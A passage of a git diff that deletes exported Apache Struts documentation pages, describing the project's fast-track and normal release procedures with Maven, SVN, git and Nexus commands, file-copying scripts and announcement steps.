-/*]]>*/</style></p><div class="toc-macro rbtoc1488974264189">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#BuildingStruts2-Fasttrackrelease-BuildingSteps(Struts)">Building Steps (Struts)</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1</span> <a shape="rect" href="#BuildingStruts2-Fasttrackrelease-Gettingready">Getting ready</a></li><li><span class="TOCOutline">1.2</span> <a shape="rect" href="#BuildingStruts2-Fasttrackrelease-Updateversionofarchetypes">Update version of archetypes</a></li><li><span class="TOCOutline">1.3</span> <a shape="rect" href="#BuildingStruts2-Fasttrackrelease-Applysecuritypatch">Apply security patch</a></li><li><span class="TOCOutline [...]
-</li></ul>
-</div><h2 id="BuildingStruts2-Fasttrackrelease-BuildingSteps(Struts)">Building Steps (Struts)</h2><h3 id="BuildingStruts2-Fasttrackrelease-Gettingready">Getting ready</h3><ol><li>Prepare new Security Bulletin - use just brief description about the security vulnerability, no examples, no proof-of-concept, anything that could be used against users, secure the page to allow access only member of struts-committers group in Confluence</li><li>Create a new Version Notes page in Confluence, lin [...]
-<pre>svn co https://svn.apache.org/repos/asf/struts/struts2/tags/STRUTS_#_#_#
-
-cd STRUTS_#_#_#
-
-mvn release:branch -DbranchName=STRUTS_#_#_#_X -DupdateBranchVersions=true -DupdateWorkingCopyVersions=false -DautoVersionSubmodules=true
-</pre>
-</div></div><p>Read the <a shape="rect" class="external-link" href="http://maven.apache.org/maven-release/maven-release-plugin/examples/branch.html">maven release:branch</a> docs for further details or alternatively</p></li><li>Apply to that branch only the security patch</li><li>Commit the fix. No reference should be make to the commit being related to a security vulnerability.</li><li>If the patch first applies to some other dependency, implore the other group to do the same, to avoid  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn versions:set -DnewVersion=2.3.16.1-SNAPSHOT -DgenerateBackupPoms=false</pre>
-</div></div></div></div><h3 id="BuildingStruts2-Fasttrackrelease-Updateversionofarchetypes"><span style="line-height: 1.5625;">Update version of archetypes</span></h3><p>Edit <code>src/site/resources/archetype-catalog.xml</code> and change version of archetypes to current $VERSION, save and commit.</p><h3 id="BuildingStruts2-Fasttrackrelease-Applysecuritypatch">Apply security patch</h3><p>Apply and commit security patch.</p><h3 id="BuildingStruts2-Fasttrackrelease-Preparerelease">Prepare [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn release:prepare -DautoVersionSubmodules=true
-</pre>
-</div></div><p>For a <a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/usage.html">dry run</a>, add '-DdryRun=true'. If you do a dry run, use 'mvn release:clean' to clean up after you have looked at the output.</p><p>When prompted for the SCM tag name, follow this pattern: STRUTS_2_3_[PATCH_VERSION]</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning conflue [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn release:perform -Dusername=yourSvnUsername
-</pre>
-</div></div><p>This step will (<a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/examples/perform-release.html">more information</a>):</p><ul><li>Checkout from an SCM URL with optional tag</li><li>Run the predefined Maven goals to release the project (by default, deploy site-deploy)</li></ul><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-inf [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">git clone https://git-wip-us.apache.org/repos/asf/struts.git
-git checkout $VERSION
-cd $VERSION
-mvn deploy --no-plugin-updates -DperformRelease=true 
-</pre>
-</div></div><p>Next, log in to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus </a> and <strong>close</strong> staging repository.</p><h3 id="BuildingStruts2-Fasttrackrelease-Movetheassembliestothe/www/people.apache.org/builds/struts/$VERSIONdir">Move the assemblies to the /www/people.apache.org/builds/struts/$VERSION dir</h3><p>After closing repository in Nexus, check if the version is available from staging repository as below:</p><div class="code panel [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">https://repository.apache.org/content/groups/staging/org/apache/struts/struts2-assembly/$VERSION/
-</pre>
-</div></div><p>In order to move the assemblies login to people.apache.org and execute the following code:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">#!/bin/sh
-# create the destination directory
-mkdir $VERSION
-cd $VERSION
-
-# get the distro
-wget -erobots=off -nv  -l 1 --accept=zip,md5,sha1,asc -r --no-check-certificate -nd -nH https://repository.apache.org/content/groups/staging/org/apache/struts/struts2-assembly/$VERSION
-
-# rename files
-for f in *2-assembly*.zip*
-do
- mv $f `echo $f | sed s/2-assembly//g`
-done
-
-# remove unneeded files
-for f in struts2-assembly-*.pom*
-do
- rm $f
-done
-
-# remove unneeded hashes
-rm *.asc.md5
-rm *.asc.sha1
-</pre>
-</div></div><p>After that move the assemblies directory to the builds destination with</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mv $VERSION /www/people.apache.org/builds/struts/
-</pre>
-</div></div><h3 id="BuildingStruts2-Fasttrackrelease-Jirastuff">Jira stuff</h3><ul><li>Update JIRA roadmap with tag/release date - release the version in JIRA</li><li>Add next milestone to the JIRA roadmap</li><li>Create DONE and TODO filters, share with all, and remove obsolete TODO filter</li><li>Create new release page, link from <a shape="rect" href="migration-guide.html">Migration Guide</a>, and link to prior release page and JIRA filters</li></ul><h3 id="BuildingStruts2-Fasttrackre [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">ssh people.apache.org
-cd /www/people.apache.org/builds/struts/$VERSION
-cp struts-$VERSION-src.*  /www/www.apache.org/dist/struts/source
-cp struts-$VERSION-docs.*  /www/www.apache.org/dist/struts/documentation
-cp struts-$VERSION-lib.* /www/www.apache.org/dist/struts/library
-cp struts-$VERSION-apps.* /www/www.apache.org/dist/struts/examples
-cp struts-$VERSION-all.* /www/www.apache.org/dist/struts/binaries   
-</pre>
-</div></div><p>If a new DTD was defined, copy it to /www/struts.apache.org/dtds/ and change permission to struts group (chown :struts *.dtd) and write rights (chmod g+w *.dtd).</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The default setup on people.apache.org will leave the files and directories only chang [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">svn co https://svn.apache.org/repos/asf/struts/site/ struts-site
-</pre>
-</div></div></li><li>Update xml files<ul><li>struts-site/src/site/xdoc/announce.xml (if applicable, refer also to corresponding security bulletin)</li><li>struts-site/src/site/xdoc/downloads.xml (remove previous version)</li><li>struts-site/src/site/xdoc/download.xml (remove previous version)</li><li>struts-site/src/site/xdoc/index.xml</li><li>struts-site/src/site/site.xml</li><li>struts-site/src/site/resources/archetype-catalog.xml</li></ul></li><li>Commit the changes</li><li>Got to <a  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">#!/bin/sh
-# script used to update struts2-subsite after release
-
-VERSION=2.3.15
-BRANCH=2.3.x
-TAG=STRUTS_2_3_15
-
-svn co https://svn.apache.org/repos/infra/websites/production/struts/content/ struts-site
-svn co https://svn.apache.org/repos/asf/struts/struts2/tags/$TAG/ $TAG
-
-wget -erobots=off http://people.apache.org/builds/struts/$VERSION/struts-$VERSION-docs.zip
-
-unzip struts-$VERSION-docs.zip -d docs
-rm -r struts-site/release/$BRANCH/docs
-rm -r struts-site/release/$BRANCH/struts2-core
-rm -r struts-site/release/$BRANCH/struts2-plugins
-rm -r struts-site/release/$BRANCH/xwork-core
-
-mv -f docs/struts-$VERSION/docs/* struts-site/release/$BRANCH
-
-cd $TAG
-mvn site:site site:stage -DstagingDirectory=../struts-site/release/$BRANCH
-
-cd ../struts-site
-
-svn add --force ./
-# Delete removed files
-svn st | grep '^!' | awk '{print $2}' | xargs svn delete --force
-svn commit -m "Updates Struts2 subsite after release process"
-
-cd ..
-rm -r struts-site
-rm -r $TAG
-rm -r docs
-rm struts-$VERSION-docs.zip
-</pre>
-</div></div><h3 id="BuildingStruts2-Fasttrackrelease-Postannouncements">Post announcements</h3><p>We leave this as the last step, once the artifacts have had time to sync up on the mirrors. <br clear="none"> Announce the release and the vulnerability. Typically this will be sent to the reporter, the project's users list (user@struts.a.o), the project's dev list (dev@struts.a.o), the project's announce list (announcements@struts.a.o), security@apache.org, full-disclosure@lists.grok.org.uk [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-struts-2-normal-release.html b/content/docs/building-struts-2-normal-release.html
deleted file mode 100644
index 8737ebd..0000000
--- a/content/docs/building-struts-2-normal-release.html
+++ /dev/null
@@ -1,246 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building Struts 2 - Normal release</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>&nbsp;&gt;&nbsp;<a href="building-struts-2-normal-release.html">Building Struts 2 - Normal release</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building Struts 2 - Normal release</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832970">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832970">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832970">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832970">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832970">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832970">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="BuildingStruts2-Normalrelease-Content">Content</h1><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974256435 {padding: 0px;}
-div.rbtoc1488974256435 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974256435 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488974256435">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#BuildingStruts2-Normalrelease-Gettingready">Getting ready</a></li><li><span class="TOCOutline">2</span> <a shape="rect" href="#BuildingStruts2-Normalrelease-UpdateDraftDocswhenneeded">Update Draft Docs when needed</a></li><li><span class="TOCOutline">3</span> <a shape="rect" href="#BuildingStruts2-Normalrelease-Besureyourlocalcopyisup-to-date">Be sure your local copy is up-to-date</a></li><li><span c [...]
-</div><h2 id="BuildingStruts2-Normalrelease-BuildingSteps(Struts)">Building Steps (Struts)</h2><h3 id="BuildingStruts2-Normalrelease-Gettingready">Getting ready</h3><ol><li>Create an "Struts 2.x.y omnibus ticket" ticket in JIRA to refer to in upcoming release related commit comments and for general documentation purposes. Mark it with priority "Blocker".</li><li>Switch to branch&#160;<code>develop</code></li><li>Ensure that the master POM and Struts Annotations have current releases</li> [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">cd struts-site
-mvn package</pre>
-</div></div><p>If build will fail try again - don't use&#160;<code>clean</code>, the exporter is going to update only outdated pages. After successful export, commit updated files into&#160;<code>struts-production</code></p><h3 id="BuildingStruts2-Normalrelease-Besureyourlocalcopyisup-to-date">Be sure your local copy is up-to-date</h3><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">git fetch origin --prune
-git checkout master
-git pull</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please remember to keep BOM subproject in sync - <code>&lt;struts-version.version&gt;X.X.X&lt;/struts-version.version&gt;</code> - must be the same as the parent pom. The latest Maven version handles this case very well but it's worth checking if the bit [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn release:prepare -DautoVersionSubmodules=true
-</pre>
-</div></div><p>For a <a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/usage.html">dry run</a>, add <code>-DdryRun=true</code>. If you do a dry run, use <code>mvn release:clean</code> to clean up after you have looked at the output.</p><p>When prompted for the SCM tag name, follow this pattern: STRUTS_2_3_[PATCH_VERSION]</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-ic [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">mvn release:perform -DretryFailedDeploymentCount=10
-</pre>
-</div></div><p>Follow the link to get&#160;<a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/examples/perform-release.html">more information</a>&#160;about performed operation by release plugin.&#160;<span style="line-height: 1.4285715;">After this step the artifacts will be hosted by </span><a shape="rect" class="external-link" href="http://repository.apache.org/" style="line-height: 1.4285715;">Nexus</a>. The&#160;<code>-DretryFailedDeploy [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">git checkout STRUTS_2_3_[PATCH_VERSION]
-mvn javadoc:javadoc deploy --no-plugin-updates -DperformRelease=true -Papache-release
-</pre>
-</div></div><p>Next, log in to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus </a> and <strong>close</strong> staging repository.</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Repository is identified by user name and public IP address, so if in meantime your IP changed, a n [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">https://repository.apache.org/content/groups/staging/org/apache/struts/struts2-assembly/$VERSION/
-</pre>
-</div></div><p>In order to move the assemblies login to people.apache.org and execute the following code:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">#!/bin/sh
-
-#create the destination directory
-echo "Creating working dir $VERSION"
-mkdir $VERSION
-cd $VERSION
-
-# get the distro
-echo "Getting distro $VERSION"
-wget -erobots=off -nv  -l 1 --accept=zip,md5,sha1,asc -r --no-check-certificate -nd -nH https://repository.apache.org/content/groups/staging/org/apache/struts/struts2-assembly/$VERSION
-
-# rename files
-echo "Renaming files"
-for f in *2-assembly*.zip*
-do
- mv $f `echo $f | sed s/2-assembly//g`
-done
-
-# remove unneeded files
-echo "Removing unneeded files"
-for f in struts2-assembly-*.pom*
-do
- rm $f
-done
-
-# remove unneeded hashes
-echo "Removing unneeded files"
-rm *.asc.md5
-rm *.asc.sha1
-cd ..
-&#160;
-# checking in new version
-echo "Pushing test version $VERSION"
-svn --no-auth-cache co --depth empty https://dist.apache.org/repos/dist/dev/struts/ struts-dev
-mv $VERSION struts-dev/
-cd struts-dev
-svn add --force ./
-svn --no-auth-cache commit -m "Updates test release $VERSION"
-cd ..
-
-# cleaning up
-rm -r struts-dev
-
-echo "Done!"</pre>
-</div></div><p>After this step artifacts are available for test here&#160;<a shape="rect" class="external-link" href="https://dist.apache.org/repos/dist/dev/struts/">https://dist.apache.org/repos/dist/dev/struts/</a></p><h3 id="BuildingStruts2-Normalrelease-Announceavailability"><span style="font-size: 16.0px;line-height: 1.5625;">Announce availability</span></h3><p>Send a short e-mail to dev@struts.a.o informing about the new packages and to give people enough time to test the distribut [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">git push</pre>
-</div></div><h3 id="BuildingStruts2-Normalrelease-Voteonit">Vote on it</h3><p>Post a release/quality vote to the dev list (and <strong>only</strong> the dev list). The example mail is on <a shape="rect" href="sample-announcements.html">Sample announcements</a> page. If the vote result is for an ASF release (i.e. not test build), update site, announce. If the vote result is for GA, push to central.</p><h3 id="BuildingStruts2-Normalrelease-Copyfiles">Copy files</h3><p>After the vote, if th [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">svn mv https://dist.apache.org/repos/dist/dev/struts/$VERSION/ https://dist.apache.org/repos/dist/release/struts/  </pre>
-</div></div><h3 id="BuildingStruts2-Normalrelease-Promoterelease">Promote release</h3><p>Log in again to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus</a> and <strong>release</strong> the repository, it will be automatically replicated across Maven Repositories<br clear="none"> See <a shape="rect" class="external-link" href="http://maven.apache.org/developers/release/apache-release.html">Releasing a Maven-based project</a> for further details.</p><h3 id [...]
-<pre>svn del https://dist.apache.org/repos/dist/release/struts/2.3.x/
-</pre>
-</div></div><p>where <code>x</code> is the previous version to remove (or one more previous to keep current and one version back).</p><h3 id="BuildingStruts2-Normalrelease-Waitforrsync">Wait for rsync</h3><p>Wait 24 hours before proceeding.</p><h3 id="BuildingStruts2-Normalrelease-Updatesite"><span style="line-height: 1.5625;">Update site</span></h3><ul><li><p>Check out site src code</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">git clone https://git-wip-us.apache.org/repos/asf/struts-site.git
-</pre>
-</div></div></li><li>If a new DTD was defined, add it to&#160;<code>source/dtds</code></li><li>Update current version and release date in&#160;<code>struts-site/_config.yml</code></li><li>Update page source files<ul><li>struts-site/source/announce.md (if applicable, refer also to corresponding security bulletin)</li><li>struts-site/source/downloads.html (Prior Releases section)</li><li>struts-site/source/index.html (some parts will updated automatically with values defined in&#160;<code> [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">svn co https://svn.apache.org/repos/infra/websites/production/struts/content struts-production</pre>
-</div></div><p>It's a good idea to keep that working copy to be used with future releases. Right now copy content of&#160;<code>struts-site/content</code>&#160;folder to&#160;<code>struts-production</code>&#160;folder, then commit changes. Next step is to update exported wiki pages. With current approach the pages are kept in&#160;<code>struts-production/docs</code>.</p><h3 id="BuildingStruts2-Normalrelease-Redeploythedocs(Optional)"><span style="line-height: 1.5625;">Redeploy the docs ( [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">svn co https://svn.apache.org/repos/asf/struts/site/trunk struts-site
-cd struts-site
-mvn package</pre>
-</div></div><p>Now the whole Confluence space is exported to&#160;<code>target/cwiki/WW/docs/</code></p></li><li><p>Checkout copy of production website (if you didn't that before)</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">svn co https://svn.apache.org/repos/infra/websites/production/struts/content/ struts-production</pre>
-</div></div><p>(you can checkout just a subtree, but it's better to checkout the whole repo especially when you want to update also the main web page)</p></li><li><p>Update production</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">cp -r struts-site/target/cwiki/WW/docs/* struts-production/docs/
-cd struts-production
-svn commit "Updates production"</pre>
-</div></div></li></ul><h3 id="BuildingStruts2-Normalrelease-Postannouncements"><span style="line-height: 1.5625;">Post announcements</span></h3><p>We leave this as the last step, once the artifacts have had time to sync up on the mirrors. Target it to: user@struts.a.o,&#160;announcements@struts.a.o&#160;and&#160;&#160;announce@a.o, samples are available at <a shape="rect" href="sample-announcements.html">Sample announcements</a> page</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-struts-annotations.html b/content/docs/building-struts-annotations.html
deleted file mode 100644
index 20bf533..0000000
--- a/content/docs/building-struts-annotations.html
+++ /dev/null
@@ -1,196 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building Struts Annotations</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>&nbsp;&gt;&nbsp;<a href="building-struts-annotations.html">Building Struts Annotations</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building Struts Annotations</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832965">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
